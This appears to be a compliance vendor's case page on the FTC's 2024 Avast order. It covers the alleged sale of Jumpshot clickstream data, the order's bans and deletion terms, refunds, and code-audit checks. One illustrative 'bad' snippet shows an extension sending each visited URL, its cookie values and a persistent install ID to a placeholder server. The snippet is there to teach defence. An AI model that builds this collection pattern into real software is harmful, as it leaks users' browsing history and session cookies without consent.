Run a free scan

Avast: a privacy product sold the browsing data it collected, and the anonymisation did not hold

If your code collects URLs, search terms or cookie values "for security", the question is where that data can end up. The FTC’s Avast case is about software sold to block tracking that fed a subsidiary selling clickstream data, with a persistent device ID, to over 100 buyers.

US Federal Trade Commission · FTC Act Section 5 · Final order issued 26 June 2024

The problem

People installed Avast and AVG antivirus software and browser extensions advertised as blocking "annoying tracking cookies" and "preventing … web services from tracking your online activity". The FTC alleged that from 2014 to January 2020 that software collected their browsing data and that Jumpshot, an Avast subsidiary, sold it to consulting firms, investors, advertisers and data brokers, in granular, re-identifiable form (Complaint ¶¶ 5, 13, 16, 19–21). These are allegations; the consent order does not find a violation.

Case record

Regulator
US Federal Trade Commission
Case number
FTC File No. 2023033; Docket No. C-4805 ([Final consent package](https://www.ftc.gov/system/files/ftc_gov/pdf/202_3033_-_avast_final_consent_package.pdf))
Parties
FTC v. Avast Limited, Avast Software s.r.o. and Jumpshot, Inc., as a common enterprise ([Complaint ¶¶ 1–4](https://www.ftc.gov/system/files/ftc_gov/pdf/Complaint-Avast.pdf))
Law
FTC Act Section 5
Stage
Final order issued 26 June 2024 after public comment; Commission vote 3-0-2 ([FTC release](https://www.ftc.gov/news-events/news/press-releases/2024/06/ftc-finalizes-order-avast-banning-it-selling-or-licensing-web-browsing-data-advertising-requiring-it))
Amount
USD 16,500,000 ([Order § IX](https://www.ftc.gov/system/files/ftc_gov/pdf/202_3033_-_avast_final_consent_package.pdf))
Source review
17 October 2026

What the regulator alleged

What the regulator alleged
CountWhat the law requiresFacts allegedResult
1: unfair collection, retention and saleNo practice causing substantial, unavoidable injury (§ 5(n))Collected browsing data, kept it indefinitely in granular form and sold it without adequate notice or consent ([¶¶ 44–45](https://www.ftc.gov/system/files/ftc_gov/pdf/Complaint-Avast.pdf))Settled
2: deceptive failure to discloseDisclose material facts behind privacy claimsProducts were marketed as stopping tracking; the sale was not disclosed ([¶¶ 46–48](https://www.ftc.gov/system/files/ftc_gov/pdf/Complaint-Avast.pdf))Settled
3: misrepresenting anonymisationNo false claimsPolicies said data went to Jumpshot only "aggregated, de-identified"; it was neither ([¶¶ 37–38, 49–50](https://www.ftc.gov/system/files/ftc_gov/pdf/Complaint-Avast.pdf))Settled

Technical issue

  • Collectors: the Avast Online Security and AVG Online Security extensions; the Avast Secure Browser, which shipped with an extension users could not see or uninstall; and Avast’s Windows and Android antivirus (¶¶ 8–9, 16).
  • What data: URLs of pages visited, URLs of background resources (such as the domains of third parties placing cookies), search queries and "the value of cookies placed on consumers' computers by third parties" (¶ 10).
  • Products sold: "All Clicks", "Search Plus Click", "Insights", "Transaction", "Marketplace" and "Cookie" feeds, most carrying a persistent "Jumpshot GUID" per browser with precise timestamps, device, browser and city (¶¶ 21–22).
  • Buyers named: LiveRamp (identity syncing for ad targeting), Lotame (matching and modelling for ads) and Omnicom (All Clicks for half of Jumpshot’s users, about USD 2 million a year) (¶¶ 23–26).
  • Anonymisation: an Avast algorithm stripped some identifiers before transfer, but the FTC alleged it was "not sufficient to anonymize" and that some contracts did not forbid re-identification (¶¶ 20, 27).
  • Retention: more than eight petabytes, never deleted, dating back to 2014 (¶ 30).
  • How it came to light: an FTC civil investigative demand; Google removed the extensions from the Chrome Web Store in December 2019 for breaching its browsing-data policy; Avast shut Jumpshot on 30 January 2020 (¶¶ 29, 39).

Inth’s technical interpretation: a stable per-browser ID plus a full clickstream is identifying however carefully names and emails are scrubbed, because the sequence of URLs (a dating-site member ID, a FAFSA form, a map route) does the identifying (¶ 41). The "Cookie Feed" also let buyers look up behaviour by their own cookie values, which turns a "de-identified" set into a join key.

Illustrative pattern, not the defendant’s code.

// Bad: a "security" extension ships every URL, query and cookie value home
chrome.webNavigation.onCompleted.addListener(async ({ url }) => {
  const cookies = await chrome.cookies.getAll({ url });
  fetch('https://telemetry.example.com/clicks', { method: 'POST',
    body: JSON.stringify({ guid: INSTALL_ID, url, ts: Date.now(), cookies }) });
});

Illustrative pattern, not the defendant’s code.

// Fixed: check reputation by hashed hostname only; no URL path, no cookies, no stable ID
chrome.webNavigation.onCompleted.addListener(async ({ url }) => {
  const host = new URL(url).hostname;
  const prefix = (await sha256(host)).slice(0, 8);   // k-anonymous lookup
  const verdict = await fetch(`https://rep.example.com/v1/${prefix}`).then((r) => r.json());
  if (verdict.blocked.includes(await sha256(host))) warnUser(host);
});

Timeline

Timeline
DateEvent
2014 to January 2020Browsing data sold through Jumpshot, as alleged ([¶ 19](https://www.ftc.gov/system/files/ftc_gov/pdf/Complaint-Avast.pdf))
30 January 2020Avast announces Jumpshot's closure ([¶ 29](https://www.ftc.gov/system/files/ftc_gov/pdf/Complaint-Avast.pdf))
22 February 2024Complaint and proposed order announced ([FTC case page](https://www.ftc.gov/legal-library/browse/cases-proceedings/2023033-avast))
26 June 2024Final order issued ([Order](https://www.ftc.gov/system/files/ftc_gov/pdf/202_3033_-_avast_final_consent_package.pdf))
24 February 2025Claims process: notices to 3,690,813 consumers; deadline 5 June 2025 ([FTC](https://www.ftc.gov/news-events/news/press-releases/2025/02/ftc-announces-refund-claims-process-avast-customers-impacted-deceptive-privacy-claims))
2 December 2025Nearly USD 15.3 million sent to 103,152 claimants ([FTC](https://www.ftc.gov/news-events/news/press-releases/2025/12/ftc-sends-payments-consumers-impacted-avasts-deceptive-privacy-claims))

Outcome

  • § I: bans selling, licensing or sharing browsing information from Avast products, or products and models derived from it, with third parties for advertising; requires affirmative express consent before using it for advertising, and before selling browsing data from non-Avast products for advertising.
  • § II: no misrepresentation of purposes or of how far data is aggregated or anonymised.
  • § III: within 20 days, delete the Jumpshot data and any models, algorithms or software built from it, and instruct buyers to do the same.
  • § IV: notice on avast.com and avg.com and in affected products for 180 days, and by email to affected users.
  • §§ V–VI: privacy programme; independent assessments every two years for 20 years.
  • § IX: USD 16.5 million to the Commission.

Refunds went to people who bought Avast antivirus software between August 2014 and January 2020, through Rust Consulting (FTC, 24 February 2025).

What it cost

What it cost
ItemAmount or term
Monetary reliefUSD 16,500,000 ([Order § IX](https://www.ftc.gov/system/files/ftc_gov/pdf/202_3033_-_avast_final_consent_package.pdf))
Paid to consumersNearly USD 15.3 million to 103,152 claimants ([FTC](https://www.ftc.gov/news-events/news/press-releases/2025/12/ftc-sends-payments-consumers-impacted-avasts-deceptive-privacy-claims))
Data and model deletionJumpshot data and derived models, within 20 days
AssessmentsBiennial for 20 years
Defence costsNot stated in the cited record

Why it matters

Avast pairs data deletion with deletion of models and algorithms built from it, and treats a privacy-branded product’s undisclosed data sale as both unfair and deceptive. It is also a warning about "anonymised" clickstream: the FTC’s case rests on a persistent ID and URL sequences, not names. See undisclosed data exchanges and FTC Act and HBNR.

How Inth catches this

  • Code audit: data flow mapping flags a pull request in an extension or app that starts sending URLs, search terms or cookie values to a server, and the vendor call graph shows which external service receives them.
  • Website audit: not applicable; the collection happened in installed software, not on a website you run.
  • Consent banner: not applicable to desktop software or browser extensions.
  • Evidence: Code audit findings keep the commit, data flow, owner and decision.

Inth cannot see what a subsidiary or data buyer does with data after receipt, or test whether a de-identification algorithm resists re-identification.

Checks for your own systems

In the repository

  • Search extension and client code for webNavigation, tabs.onUpdated, cookies.getAll and history APIs, and list where their output is sent.
  • Check whether any telemetry carries a stable install or device ID alongside URLs.
  • Find any export job that ships raw event or clickstream tables to a partner.

In the browser and network

  • Install your extension or client in a clean profile, browse a fixed script of pages, and capture outbound requests; look for full URLs and cookie values in payloads.

With the people responsible

  • Compare marketing claims ("blocks tracking", "anonymous") with actual data flows before launch.
  • Read data-sale and data-sharing contracts: do they forbid re-identification and matching with other datasets, and who audits that?

Sources and limits

Source review: 17 October 2026. This page describes the cited records and procedural stage. It does not audit Avast’s current systems. Inth wrote the technical checks; they cannot decide which laws apply or prove compliance.